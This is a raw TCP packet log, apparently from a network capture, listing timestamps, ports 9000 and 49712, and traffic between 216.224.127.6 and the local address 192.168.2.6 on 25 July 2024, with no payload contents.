Jul 25, 2024 13:23:23.643243074 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.643254042 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.643265009 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.643295050 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.648179054 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.648277044 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.648838043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.694571972 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.722729921 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.722757101 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.722783089 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.722795010 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.722806931 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.722860098 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.722923994 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.722942114 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.722953081 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.722959042 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.722964048 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.722970009 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723047972 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.723170996 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723182917 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723192930 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723216057 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.723273993 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723284960 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723294973 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723306894 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723318100 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723320961 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.723330021 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723340988 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723351955 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723365068 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.723393917 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.723932028 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723943949 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723954916 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723972082 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723978996 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.723984003 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.723994970 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.724004984 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.724016905 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.724028111 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.724030972 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.724039078 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.724050999 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.724061012 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.724071980 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.724073887 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.724091053 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.724143028 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.724600077 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.724612951 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.724625111 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.724648952 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.725781918 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.725800991 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.725811958 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.725835085 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.725862980 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.725938082 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.725949049 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.725975037 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.725986004 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.725987911 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.726003885 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.726049900 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.726197958 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.726210117 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.726222038 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.726233006 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.726243973 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.726244926 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.726255894 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.726267099 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.726279974 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.726315022 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.726622105 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736149073 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736175060 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736186981 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736269951 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.736320972 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736346006 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.736440897 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736454010 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736464024 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736474037 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736500978 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.736532927 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.736574888 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736586094 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736596107 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736607075 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736617088 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736623049 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.736628056 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736649990 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.736670017 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.736809015 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736819983 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736830950 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.736852884 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.736879110 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.737566948 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.737581968 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.737593889 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.737626076 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.737654924 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.737667084 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.737677097 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.737721920 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.737756968 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.740071058 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.740091085 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.740103960 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.740139961 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.740145922 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.740151882 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.740164995 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.740176916 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.740187883 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.740195990 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.740200043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.740222931 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.752404928 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.752424955 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.752438068 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.752495050 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.752516031 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.752527952 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.752532959 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.752540112 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.752546072 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.752696991 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.752815008 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.752825975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.752836943 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.752850056 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.752861977 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.752863884 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.752888918 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.753118992 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.753129959 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.753142118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.753168106 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.753235102 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.753242016 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.753246069 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.753290892 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.753540993 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.753552914 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.753590107 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.753746986 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.753760099 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.753772974 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.753798008 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.754703045 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.754714966 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.754725933 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.754748106 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.754772902 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.754780054 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.754791975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.754827023 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.756050110 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.756114960 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.756124973 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.756155014 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.756161928 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.756165981 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.756203890 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.810359001 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.810379982 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.810390949 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.810436010 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.810447931 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.810458899 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.810470104 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.810504913 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.810539961 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.810983896 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811002970 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811014891 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811024904 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811029911 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.811038017 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811048985 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811059952 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811070919 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811083078 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811105013 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.811141968 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.811152935 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811316013 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811327934 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811366081 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.811378002 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811388969 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811398983 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811408997 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811419010 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.811420918 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811444044 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.811464071 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.811621904 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811634064 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811645031 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811656952 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811666965 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811676979 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811681986 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.811687946 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811726093 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.811971903 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811984062 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.811994076 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.812009096 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.812016010 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.812062979 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.812223911 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.812241077 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.812252045 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.812263012 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.812268019 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.812273979 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.812303066 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.812335968 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.812588930 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.812599897 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.812608957 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.812619925 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.812630892 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.812634945 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.812643051 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.812674046 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.812695026 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.812769890 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.813847065 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.813872099 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.813883066 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.813899040 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.813904047 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.813918114 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.813950062 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.816391945 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.816442013 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.816454887 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.816509008 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.816695929 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.816751003 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.825112104 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825150013 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825162888 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825263977 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.825265884 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825278044 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825289011 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825300932 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825325012 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.825350046 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.825514078 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825526953 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825536966 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825548887 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825561047 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825572014 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825581074 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.825582981 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825598955 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.825623989 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.825825930 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825897932 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825910091 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.825948000 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.826069117 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.826080084 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.826091051 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.826102018 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.826119900 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.826143026 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.828272104 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.828286886 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.828299046 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.828325987 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.828351974 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.828413963 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.828427076 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.828438044 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.828450918 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.828461885 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.828499079 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.841049910 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841103077 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841118097 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841162920 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.841238976 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841254950 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841264963 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841276884 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841294050 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.841320038 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.841653109 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841665030 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841675043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841686010 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841696024 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841705084 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.841706038 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841717958 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841736078 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.841762066 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.841891050 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841902971 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841913939 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.841947079 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.842020988 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.842031002 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.842041969 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.842052937 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.842067957 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.842135906 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.842674971 CEST	9000	49712	216.224.127.6	192.168.2.6
